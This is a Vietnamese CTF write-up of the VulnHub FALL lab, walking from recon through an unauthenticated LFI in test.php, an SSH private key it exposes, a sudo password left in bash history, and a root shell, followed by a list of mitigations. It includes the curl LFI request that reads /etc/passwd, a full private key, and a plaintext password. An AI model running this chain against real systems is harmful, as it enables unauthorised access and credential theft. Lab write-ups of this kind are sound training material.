

FALL PENTEST WRITEUP

FALL Lab Report

Thông tin bài lab

Lab ID	FALL
Tên lab	FALL - VulnHub
Platform / Source	CTF
Target	192.168.100.137

Chi tiết lỗ hổng

Reconnaissance

Service Enumerate

```
(ncbachhhh@kali)~[~/target/fall]
$ sudo arp-scan --localnet
[sudo] password for ncbachhhh:
Interface: eth0, type: EN10MB, MAC: 00:0c:29:8f:2c:b4, IPv4: 192.168.100.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.100.1    00:50:56:c0:00:08    VMware, Inc.
192.168.100.2    00:50:56:fd:37:4a    VMware, Inc.
192.168.100.137 00:0c:29:e2:34:ba    VMware, Inc.
192.168.100.254 00:50:56:e5:dc:e5    VMware, Inc.

7 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.931 seconds (132.57 hosts/sec). 4 responded
```

Hình 01: Kết quả arp-scan ra được ip target

```
(ncbachhhh@kali)~[~/target/fall]
$ ping -c 4 192.168.100.137
PING 192.168.100.137 (192.168.100.137) 56(84) bytes of data.
64 bytes from 192.168.100.137: icmp_seq=1 ttl=64 time=0.747 ms
64 bytes from 192.168.100.137: icmp_seq=2 ttl=64 time=0.452 ms
64 bytes from 192.168.100.137: icmp_seq=3 ttl=64 time=0.560 ms
64 bytes from 192.168.100.137: icmp_seq=4 ttl=64 time=0.465 ms

--- 192.168.100.137 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3057ms
rtt min/avg/max/mdev = 0.452/0.556/0.747/0.117 ms
```

Hình 02: Ping tới target thành công

```

(ncbachhhh@kali)-[~/target/fall]
$ nmap -sC -sV -p- -T4 192.168.100.137
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-27 13:36 +0700
Nmap scan report for 192.168.100.137
Host is up (0.00027s latency).
Not shown: 65381 filtered tcp ports (no-response), 141 filtered tcp ports (host-prohibited)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.8 (protocol 2.0)
| ssh-hostkey:
|   2048 c5:86:f9:64:27:a4:38:5b:8a:11:f9:44:4b:2a:ff:65 (RSA)
|   256 e1:00:0b:cc:59:21:69:6c:1a:c1:77:22:39:5a:35:4f (ECDSA)
|_  256 1d:4e:14:6d:20:f4:56:da:65:83:6f:7d:33:9d:f0:ed (ED25519)
80/tcp    open  http         Apache httpd 2.4.39 ((Fedora) OpenSSL/1.1.0i-fips mod_perl/2.0.10 Perl/v5.26.3)
|_ http-server-header: Apache/2.4.39 (Fedora) OpenSSL/1.1.0i-fips mod_perl/2.0.10 Perl/v5.26.3
|_ http-title: Good Tech Inc's Fall Sales - Home
|_ http-robots.txt: 1 disallowed entry
|_/
|_ http-generator: CMS Made Simple - Copyright (C) 2004-2021. All rights reserved.
111/tcp   closed rpcbind
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
443/tcp   open  ssl/http     Apache httpd 2.4.39 ((Fedora) OpenSSL/1.1.0i-fips mod_perl/2.0.10 Perl/v5.26.3)
|_ http-generator: CMS Made Simple - Copyright (C) 2004-2021. All rights reserved.
|_ http-title: Good Tech Inc's Fall Sales - Home
|_ tls-alpn:
|_  http/1.1
|_ http-robots.txt: 1 disallowed entry
|_/
|_ ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
|_ Subject Alternative Name: DNS:localhost.localdomain
|_ Not valid before: 2019-08-15T03:51:33
|_ Not valid after: 2020-08-19T05:31:33
|_ http-server-header: Apache/2.4.39 (Fedora) OpenSSL/1.1.0i-fips mod_perl/2.0.10 Perl/v5.26.3
|_ ssl-date: TLS randomness does not represent time
445/tcp   open  netbios-ssn Samba smbd 4.8.10 (workgroup: SAMBA)
3306/tcp  open  mysql        MySQL (unauthorized)
8090/tcp  closed http-alt
8080/tcp  closed http-proxy
8443/tcp  closed https-alt
9090/tcp  open  http         Cockpit web service 162 - 188
|_ http-title: Did not follow redirect to https://192.168.100.137:9090/
10080/tcp closed amanda
10443/tcp closed cirrossp
MAC Address: 00:0C:29:E2:34:BA (VMware)
Service Info: Host: FALL; OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

Hình 03: Kết quả scan port của Nmap, tồn tại các port như 22/SSH, 80/HTTP, 139/SMB

```

(ncbachhhh@kali)-[~/target/fall]
$ curl -s http://192.168.100.137/robots.txt
# Group 1
User-agent: Googlebot
Allow: /

# Group 2:
User-agent: *
Disallow: /

```

Hình 04: Nội dung /robots.txt

```

(ncbachhhh@kali)-[~/target/fall]
$ curl -s http://192.168.100.137/ | grep -i -E "version|CMS"
<meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2021. All rights reserved." />
<form id="meb92fmoduleform_1" method="get" action="http://192.168.100.137/" class="cms_form">
  <p>&copy; Copyright 2004-2026 - CMS Made Simple<br />
This site is powered by <a class="external" href="http://www.cmsmadesimple.org">CMS Made Simple</a> version 2.2.15</p>

```

Hình 05: Phát hiện ứng dụng chạy CMS Made Simple version 2.2.15

```
(ncbachhhh@kali)-[~/target/fall]
$ smbclient -L //192.168.100.137 -N
Anonymous login successful

      Sharename      Type      Comment
      ─────────      ───      ─────────
      print$         Disk      Printer Drivers
      IPC$           IPC       IPC Service (Samba 4.8.10)
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

      Server          Comment
      ───      ─────────
      Workgroup       Master
      ───      ─────────
      SAMBA           FALL
```

Hình 06: Kiểm tra SMB share

```
(ncbachhhh@kali)-[~/target/fall]
$ feroxbuster -u http://192.168.100.137 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x txt,php,html -k

FERROX OXIDE
by Ben "epi" Risher 🐼 ver: 2.13.1

Target Url      http://192.168.100.137/
In-Scope Url    192.168.100.137
Threads         50
Wordlist         /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
Status Codes    All Status Codes!
Timeout (secs)  7
User-Agent      feroxbuster/2.13.1
Config File     /etc/feroxbuster/ferox-config.toml
Extract Links   true
Extensions     [txt, php, html]
HTTP methods    [GET]
Insecure        true
Recursion Depth 4

❖ Press [ENTER] to use the Scan Management Menu™
```

Hình 07: Sử dụng feroxbuster tìm các thư mục, file ẩn

```
301 GET 7L 20w 237c http://192.168.100.137/admin => http://192.168.100.137/admin/
301 GET 7L 20w 239c http://192.168.100.137/modules => http://192.168.100.137/modules/
301 GET 7L 20w 235c http://192.168.100.137/lib => http://192.168.100.137/lib/
301 GET 7L 20w 235c http://192.168.100.137/tmp => http://192.168.100.137/tmp/
301 GET 7L 20w 239c http://192.168.100.137/uploads => http://192.168.100.137/uploads/
200 GET 5L 7w 80c http://192.168.100.137/test.php
301 GET 7L 20w 238c http://192.168.100.137/assets => http://192.168.100.137/assets/
200 GET 6L 0w 0c http://192.168.100.137/config.php
200 GET 35L 151w 1135c http://192.168.100.137/modules/MenuManager/CSSMenu.js
200 GET 589L 169w 1128c http://192.168.100.137/tmp/cache/stylesheet_combined_4e991b7c27f7a8ba2f81af768f77ac6e.css
200 GET 907L 4216w 26512c http://192.168.100.137/tmp/cache/stylesheet_combined_5dadd545e37bef508473d630435272626.css
200 GET 5L 7w 80c http://192.168.100.137/error.html
404 GET 1L 3w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 296L 552w 8412c http://192.168.100.137/index.php
200 GET 296L 552w 8412c http://192.168.100.137/
301 GET 7L 20w 258c http://192.168.100.137/modules/AdminSearch/images => http://192.168.100.137/modules/AdminSearch/images/
301 GET 7L 20w 253c http://192.168.100.137/modules/ModuleManager => http://192.168.100.137/modules/ModuleManager/
301 GET 7L 20w 261c http://192.168.100.137/modules/AdminSearch/templates => http://192.168.100.137/modules/AdminSearch/templates/
301 GET 7L 20w 263c http://192.168.100.137/modules/ModuleManager/templates => http://192.168.100.137/modules/ModuleManager/templates/
301 GET 7L 20w 257c http://192.168.100.137/modules/ModuleManager/lib => http://192.168.100.137/modules/ModuleManager/lib/
301 GET 7L 20w 260c http://192.168.100.137/modules/ModuleManager/images => http://192.168.100.137/modules/ModuleManager/images/
301 GET 7L 20w 248c http://192.168.100.137/assets/templates => http://192.168.100.137/assets/templates/
301 GET 7L 20w 251c http://192.168.100.137/modules/AdminSearch => http://192.168.100.137/modules/AdminSearch/
301 GET 7L 20w 259c http://192.168.100.137/modules/Navigator/templates => http://192.168.100.137/modules/Navigator/templates/
301 GET 7L 20w 256c http://192.168.100.137/modules/MicroTiny/images => http://192.168.100.137/modules/MicroTiny/images/
301 GET 7L 20w 249c http://192.168.100.137/modules/Navigator => http://192.168.100.137/modules/Navigator/
301 GET 7L 20w 246c http://192.168.100.137/uploads/images => http://192.168.100.137/uploads/images/
301 GET 7L 20w 249c http://192.168.100.137/modules/MicroTiny => http://192.168.100.137/modules/MicroTiny/
301 GET 7L 20w 257c http://192.168.100.137/modules/CMSContentManager => http://192.168.100.137/modules/CMSContentManager/
301 GET 7L 20w 264c http://192.168.100.137/modules/CMSContentManager/images => http://192.168.100.137/modules/CMSContentManager/images/
301 GET 7L 20w 267c http://192.168.100.137/modules/CMSContentManager/templates => http://192.168.100.137/modules/CMSContentManager/templates/
200 GET 6L 0w 0c http://192.168.100.137/tmp/cache/
301 GET 7L 20w 251c http://192.168.100.137/modules/MenuManager => http://192.168.100.137/modules/MenuManager/
301 GET 7L 20w 254c http://192.168.100.137/modules/News/templates => http://192.168.100.137/modules/News/templates/
301 GET 7L 20w 253c http://192.168.100.137/modules/CmsJobManager => http://192.168.100.137/modules/CmsJobManager/
301 GET 7L 20w 246c http://192.168.100.137/assets/plugins => http://192.168.100.137/assets/plugins/
301 GET 7L 20w 253c http://192.168.100.137/modules/Navigator/lib => http://192.168.100.137/modules/Navigator/lib/
301 GET 7L 20w 258c http://192.168.100.137/modules/ModuleManager/docs => http://192.168.100.137/modules/ModuleManager/docs/
301 GET 7L 20w 251c http://192.168.100.137/assets/admin_custom => http://192.168.100.137/assets/admin_custom/
301 GET 7L 20w 260c http://192.168.100.137/modules/FilePicker/templates => http://192.168.100.137/modules/FilePicker/templates/
301 GET 7L 20w 253c http://192.168.100.137/modules/FilePicker/js => http://192.168.100.137/modules/FilePicker/js/
301 GET 7L 20w 257c http://192.168.100.137/modules/CmsJobManager/lib => http://192.168.100.137/modules/CmsJobManager/lib/
301 GET 7L 20w 253c http://192.168.100.137/modules/MicroTiny/lib => http://192.168.100.137/modules/MicroTiny/lib/
301 GET 7L 20w 261c http://192.168.100.137/modules/CMSContentManager/lib => http://192.168.100.137/modules/CMSContentManager/lib/
301 GET 7L 20w 250c http://192.168.100.137/modules/FilePicker => http://192.168.100.137/modules/FilePicker/
301 GET 7L 20w 263c http://192.168.100.137/modules/CmsJobManager/templates => http://192.168.100.137/modules/CmsJobManager/templates/
301 GET 7L 20w 248c http://192.168.100.137/modules/News/lib => http://192.168.100.137/modules/News/lib/
301 GET 7L 20w 261c http://192.168.100.137/modules/MenuManager/templates => http://192.168.100.137/modules/MenuManager/templates/
301 GET 7L 20w 251c http://192.168.100.137/modules/News/images => http://192.168.100.137/modules/News/images/
301 GET 7L 20w 245c http://192.168.100.137/uploads/pages => http://192.168.100.137/uploads/pages/
200 GET 1L 8w 45c http://192.168.100.137/uploads/pages/secret.txt
301 GET 7L 20w 255c http://192.168.100.137/modules/FileManager/lib => http://192.168.100.137/modules/FileManager/lib/
301 GET 7L 20w 247c http://192.168.100.137/admin/templates => http://192.168.100.137/admin/templates/
301 GET 7L 20w 254c http://192.168.100.137/modules/FileManager/js => http://192.168.100.137/modules/FileManager/js/
301 GET 7L 20w 245c http://192.168.100.137/admin/plugins => http://192.168.100.137/admin/plugins/
301 GET 7L 20w 255c http://192.168.100.137/modules/AdminSearch/lib => http://192.168.100.137/modules/AdminSearch/lib/
301 GET 7L 20w 244c http://192.168.100.137/admin/themes => http://192.168.100.137/admin/themes/
251c http://192.168.100.137/modules/FileManager => http://192.168.100.137/modules/FileManager/
246c http://192.168.100.137/assets/configs => http://192.168.100.137/assets/configs/
244c http://192.168.100.137/modules/News => http://192.168.100.137/modules/News/
259c http://192.168.100.137/modules/CMSMailer/templates => http://192.168.100.137/modules/CMSMailer/templates/
243c http://192.168.100.137/lib/plugins => http://192.168.100.137/lib/plugins/
243c http://192.168.100.137/lib/classes => http://192.168.100.137/lib/classes/
242c http://192.168.100.137/lib/assets => http://192.168.100.137/lib/assets/
254c http://192.168.100.137/modules/FilePicker/lib => http://192.168.100.137/modules/FilePicker/lib/
```

Hình 08: Phát hiện 1 file đáng chú ý /test.php

Attack Chain: Unauthenticated LFI to SSH key disclosure to Sudo password extraction from bash history to Root

Attack Path

1. Đầu tiên ta sẽ kiểm tra các lỗ hổng thông qua CMS Made Simple version 2.2.15

Exploit Title	Path
CMS Made Simple (CMSMS) Showtime2 - File Upload Remote Code Execution (Metasploit)	php/remote/46627.rb
CMS Made Simple 0.10 - 'index.php' Cross-Site Scripting	php/webapps/26298.txt
CMS Made Simple 0.10 - 'lang.php' Remote File Inclusion	php/webapps/26217.html
CMS Made Simple 1.0.2 - 'SearchInput' Cross-Site Scripting	php/webapps/29272.txt
CMS Made Simple 1.0.5 - 'stylesheet.php' SQL Injection	php/webapps/29941.txt
CMS Made Simple 1.11.10 - Multiple Cross-Site Scripting Vulnerabilities	php/webapps/32668.txt
CMS Made Simple 1.11.9 - Multiple Vulnerabilities	php/webapps/43809.txt
CMS Made Simple 1.1 - Remote Code Execution	php/webapps/4462.txt
CMS Made Simple 1.2.2 Module TinyMCE - SQL Injection	php/webapps/4810.txt
CMS Made Simple 1.2.4 Module FileManager - Arbitrary File Upload	php/webapps/5680.php
CMS Made Simple 1.4.1 - Local File Inclusion	php/webapps/7225.txt
CMS Made Simple 1.6.2 - Local File Disclosure	php/webapps/9407.txt
CMS Made Simple 1.6.6 - Local File Inclusion / Cross-Site Scripting	php/webapps/33643.txt
CMS Made Simple 1.6.6 - Multiple Vulnerabilities	php/webapps/11424.txt
CMS Made Simple 1.7 - Cross-Site Request Forgery	php/webapps/12009.html
CMS Made Simple 1.8 - 'default.cms_lang' Local File Inclusion	php/webapps/34299.py
CMS Made Simple 1.8 - Cross-Site Scripting / Cross-Site Request Forgery	php/webapps/34668.html
CMS Made Simple 2.1.6 - 'cnntrldetailtemplate' Server-Side Template Injection	php/webapps/48940.py
CMS Made Simple 2.1.6 - Multiple Vulnerabilities	php/webapps/41997.txt
CMS Made Simple 2.1.6 - Remote Code Execution	php/webapps/40192.txt
CMS Made Simple 2.2.10 - Arbitrary File Upload (Authenticated)	php/webapps/48789.py
CMS Made Simple 2.2.10 - Authenticated Arbitrary File Upload	php/webapps/48742.txt
CMS Made Simple 2.2.10 - Persistent Cross-Site Scripting (Authenticated)	php/webapps/48851.txt
CMS Made Simple 2.2.10 - 'title' Cross-Site Scripting (XSS)	php/webapps/49993.txt
CMS Made Simple 2.2.15 - RCE (Authenticated)	php/webapps/49345.txt
CMS Made Simple 2.2.15 - Stored Cross-Site Scripting via SVG File Upload (Authenticated)	php/webapps/49199.txt
CMS Made Simple 2.2.5 - (Authenticated) Remote Code Execution	php/webapps/44976.py
CMS Made Simple 2.2.7 - (Authenticated) Remote Code Execution	php/webapps/45793.py
CMS Made Simple < 1.12.1 / < 2.1.3 - Web Server Cache Poisoning	php/webapps/39760.txt
CMS Made Simple < 2.2.10 - SQL Injection	php/webapps/46131.py
CMS Made Simple Module Antz Toolkit 1.0.2 - Arbitrary File Upload	php/webapps/34300.py
CMS Made Simple Module Download Manager 1.4.1 - Arbitrary File Upload	php/webapps/34298.py
CMS Made Simple Showtime2 Module 2.0.2 - (Authenticated) Arbitrary File Upload	php/webapps/48546.py
CmsMadeSimple v2.2.17 - Remote Code Execution (RCE)	php/webapps/51689.txt
CmsMadeSimple v2.2.17 - session hijacking via Server-Side Template Injection (SSTI)	php/webapps/51599.txt
CmsMadeSimple v2.2.17 - Stored Cross-Site Scripting (XSS)	php/webapps/51601.txt

Shellcodes: No Results

Hình 09: Danh sách lỗ hổng có thể khai thác trên CMS Made Simple version 2.2.15

2. Có khá nhiều cách khai thác nhưng đều cần phải đăng nhập mới có thể sử dụng, vậy nên ta sẽ thử đi tìm các thông tin đăng nhập

```
(ncbachhhh@kali)-[~/target/fall]
$ curl -s http://192.168.100.137/test.php
<html>
<body>
<script>alert('Missing GET parameter!');</script>
</body>
</html>
```

Hình 10: File test.php trả về thiếu param

```
(ncbachhhh@kali)-[~/target/fall]
$ curl -s "http://192.168.100.137/test.php?file=/etc/passwd"
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/sbin/nologin
systemd-coredump:x:999:996:systemd Core Dumper:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/sbin/nologin
dbus:x:81:81:System message bus:/sbin/nologin
polkitd:x:998:995:User for polkitd:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
cockpit-ws:x:997:993:User for cockpit-ws:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
ntp:x:38:38:/etc/ntp:/sbin/nologin
abrt:x:173:173:/etc/abrt:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
chrony:x:996:991:/var/lib/chrony:/sbin/nologin
tcpdump:x:72:72:/sbin/nologin
qiu:x:1000:1000:qiu:/home/qiu:/bin/bash
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
nginx:x:995:990:Nginx web server:/var/lib/nginx:/sbin/nologin
tss:x:59:59:Account used by the tpm2-abrmd package to sandbox the tpm2-abrmd daemon:/dev/null:/sbin/nologin
clevis:x:994:989:Clevis Decryption Framework unprivileged user:/var/cache/clevis:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false
```

Hình 11: Ta thử với param file và đọc file /etc/passwd và thành công


```
GNU nano 9.1
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAAAAAABG5vbmcUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAAdzc2gtcn
NhAAAAAwEAAQAAQEAjVnH0F0SeDHy9K5vnHSs3qTjWNeHAPzT0sD3beBPVvYKQJt0AkD0
FDcWtSSf13NhbJcQm5fznR8td4sJjMYiAl+vAKboHne0njGkBWdy5PgmCXYeZTEICgkggX
61kImU0IqtLMcjF5ti+09RGiWeSmfIDtTCjj/+uQlOkUMtdc4N0v4XGJbp7GdEWBZevien
qXoXtG6j7gUgtXX1Fxl3FPhxE3Lxw/AfZ9ib21JGLOyy8cflTLogrZPoICCXIV/kxGK0d
Zucw8rGGMc6Jv7npeQS1IXU9VnPP3LWLOGFU0j+IS5SiNksRfdQ4mCN9SYhAm9mAKcZW8wS
vXuDJwOLEwAAA9AS5tRmEubUZgAAAAdzc2gtcnNhAAABAQC820E4U5J4MfL0rm+cdKzep0
NY16EA/NPSwPdt4E9W9gpAm3QCQPQUNxZNJIXxc2FuMJCbl+fNH13iyMkxiICX68Apuge
d7SeMaQHB3Lk+CZxfJ5LMQIgaSCBfrWQiZQ4iq0sxyMXm2L7T1EaJZ5KZ8g01MK0P/65CW
iRQy11zg06/hcYlunsZ0RYfL6+J6epehe0bqPuBSC1dfUXGXHcU+HETeXHD8B9n2JvbUka
U7LLxx+VOWiCtk+ggIJchX+TEYrR1m5zDysYyxzom/uel5BLUhdT1Wc/ctaU4YVTSP4hLL
KI2SxF91DiYI31JiECb2YApXlbzBK9e40NY4sTAAAAAwEAAQAAQArXIEaNdZD0vQ+Sm9G
NWQcGzA4jgph96uLkNM/X2nYRdZez2zrt45TtfJg9CnnNo8AhhYuI8sNxkLiAhRwUy9zs
qYE7rohAPs7ukC1CsFeBUBqcmU4pPibUERes6LyXFHKLbPH7BnEz6/BY9RuAGG5B2DikbB
8t/CD079q7ccfTZs+gOVRX4PW641+cZxo5/gL3GcdJwDY4ggPwbU/m8sYsyN1NWJ8NH00d
X8THaQAEXA06TTzPMLGwJi+0kj1UTg+D+n0Nfh7xeXLseST0m1p+e9C/8rseZsSJSxoXKk
CmDy69aModcpW+ZXl9NcjEwrMvJPLlkjhIUCIhNjf4ABAAAAGEr3ZKUuJquBNFPhEUgUic
ivHoZH6U82VyEY2Bz24qevcVz2IcAXLBIp+floiWYUVMiUwQDw6LSon8S72kk7VWiDrWz
LhJrfpUwWdzdWSMY6PI7EpGVVs0qmRC/TTqOIH+FXA66cFx3X4u0CjkzT0/Es0uNyZ07qQ
58cGE8cKrLAAAAGQDLpaJDRVfDwGOWJj+imXfpGsmo81UDaYXwklzw4VM2SfIHIAFZPaA0
acm4/icKGPlnYwsvZCksvLUck+ti+J2RS2Mq9jmKB0AVZisFazj8qIde3SPpWtR7gBR329
Jw3Db+KISMRIvdpJv+eikQLg/epbSdwXZi0DJoB0a15FsIAQAAAIEA0uQl0d0p3NxCyT/+
Q6N+llf9TB5+VNjinaGu4DY6qVrSHmhkceHtXxG6h9upRtKw5Bv0LSbTatlFMZYUtlZ1mL
RWCu8D7v1Qn7qMflx4bldYgV8lf18sb6g/uztWJuLpFe3Ue/MLgeJ+2TiAw9yYoPVySNK8
uhSHA0dvveoJ8xMAAAAZcWl1QGxvY2FsaG9zdC5sb2NhbGRvbWFpbGEC
-----END OPENSSH PRIVATE KEY-----
```

Hình 14: Copy SSH key và lưu vào thành file id_rsa_qiu

```
(ncbachhhh@kali)-[~/target/fall]
$ nano id_rsa_qiu

(ncbachhhh@kali)-[~/target/fall]
$ chmod 600 id_rsa_qiu

(ncbachhhh@kali)-[~/target/fall]
$ ssh -i id_rsa_qiu qiu@192.168.100.137
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Web console: https://FALL:9090/ or https://192.168.100.137:9090/

Last login: Wed Sep 23 21:09:34 2026 from 192.168.100.128
[qiu@FALL ~]$ |
```

Hình 15: Cấp quyền 600 cho file và thử SSH vào target với user qiu thành công

```
[qiu@FALL ~]$ id
uid=1000(qiu) gid=1000(qiu) groups=1000(qiu),10(wheel)
[qiu@FALL ~]$ sudo -l
[sudo] password for qiu:
Sorry, try again.
[sudo] password for qiu:
Sorry, try again.
[sudo] password for qiu:
sudo: 3 incorrect password attempts
[qiu@FALL ~]$ |
```

Hình 16: Thử tìm các lệnh sudo user qiu có thể sử dụng nhưng không có password chính xác

```
[qiu@FALL ~]$ ls -la
total 24
drwxr-xr-x. 3 qiu qiu 128 May 21 2021 .
drwxr-xr-x. 3 root root 17 Aug 14 2019 ..
-rw----- 1 qiu qiu 815 Sep 23 20:47 .bash_history
-rw-r--r-- 1 qiu qiu 18 Mar 15 2018 .bash_logout
-rw-r--r-- 1 qiu qiu 193 Mar 15 2018 .bash_profile
-rw-r--r-- 1 qiu qiu 231 Mar 15 2018 .bashrc
-rw-r--r-- 1 qiu qiu 27 May 21 2021 local.txt
-rw-rw-r-- 1 qiu qiu 38 May 21 2021 reminder
drwxr-xr-x 2 qiu qiu 61 May 21 2021 .ssh
[qiu@FALL ~]$ cat local.txt
A low privilege shell! :-)
[qiu@FALL ~]$ cat reminder
reminder: delete the SSH private key!
[qiu@FALL ~]$ cat .bash_history
ls -al
cat .bash_history
rm .bash_history
echo "remarkablyawesomE" | sudo -S dnf update
ifconfig
ping www.google.com
ps -aux
ps -ef | grep apache
env
env > env.txt
rm env.txt
lsof -i tcp:445
lsof -i tcp:80
ps -ef
lsof -p 1930
lsof -p 2160
rm .bash_history
exit
```

Hình 17: Khi đọc .bash_history ta thấy được tác giả dùng lệnh echo “...” cho việc tự động update mà k cần nhập password, vì vậy ta đã thu thập được password của user qiu “remarkablyawesomE”

```
[qiu@FALL ~]$ sudo -l
[sudo] password for qiu:
Matching Defaults entries for qiu on FALL:
    !visiblepw, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION
    LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

User qiu may run the following commands on FALL:
    (ALL) ALL
[qiu@FALL ~]$
```

Hình 18: Phát hiện user qiu có thể sử dụng quyền sudo như là root

3. Chuyển sang user root và lấy được flag

```
[qiu@FALL ~]$ sudo su -
Last login: Wed Sep 23 21:10:19 PDT 2026 on pts/0
[root@FALL ~]# id
uid=0(root) gid=0(root) groups=0(root)
[root@FALL ~]# ls -la /root
total 40
dr-xr-x---.  3 root root  206 Sep  5  2021 .
dr-xr-xr-x. 17 root root  244 May 21  2021 ..
-rw-----.  1 root root 3963 Aug 14  2019 anaconda-ks.cfg
-rw-----.  1 root root   57 Sep  5  2021 .bash_history
-rw-r--r--.  1 root root   18 Feb  9  2018 .bash_logout
-rw-r--r--.  1 root root  176 Feb  9  2018 .bash_profile
-rw-r--r--.  1 root root  176 Feb  9  2018 .bashrc
-rw-r--r--.  1 root root  100 Feb  9  2018 .cshrc
-rw-----.  1 root root 3151 Aug 14  2019 original-ks.cfg
-rw-----.  1 root root   30 May 21  2021 proof.txt
-rw-----.  1 root root  452 Aug 30  2021 remarks.txt
drwx-----.  2 root root   25 Sep  5  2021 .ssh
-rw-r--r--.  1 root root  129 Feb  9  2018 .tcshrc
[root@FALL ~]# cat /root/proof.txt
Congrats on a root shell! :-)
[root@FALL ~]# |
```

Hình 19: Chuyển thành công sang user root và đọc được file proof.txt

Mitigation

Gỡ bỏ ngay các file test/debug (test.php) trên môi trường Production.

Nếu bắt buộc phải dùng chức năng đọc file, hãy dùng Whitelist (chỉ cho phép đọc file cụ thể), chặn ký tự path traversal (../) và block các PHP Wrapper (php://).

Đảm bảo thư mục ~/.ssh có quyền 700 và file private key (id_rsa) có quyền 600

Tuyệt đối không dùng lệnh echo "password" | sudo ... trực tiếp trên terminal. Nếu cần tự động hóa, hãy dùng các giải pháp quản lý mật khẩu an toàn (Vault) hoặc cấu hình NOPASSWD nhưng giới hạn chặt chẽ.

Xóa lịch sử lệnh (history -c hoặc unset HISTFILE) ngay sau khi thực hiện các thao tác quản trị nhạy cảm.

Không cấp quyền (ALL) ALL cho user thông thường. Chỉ cấp quyền sudo cho đúng lệnh cần thiết (Ví dụ: cấu hình qiu chỉ được chạy sudo /usr/bin/dnf thay vì toàn quyền).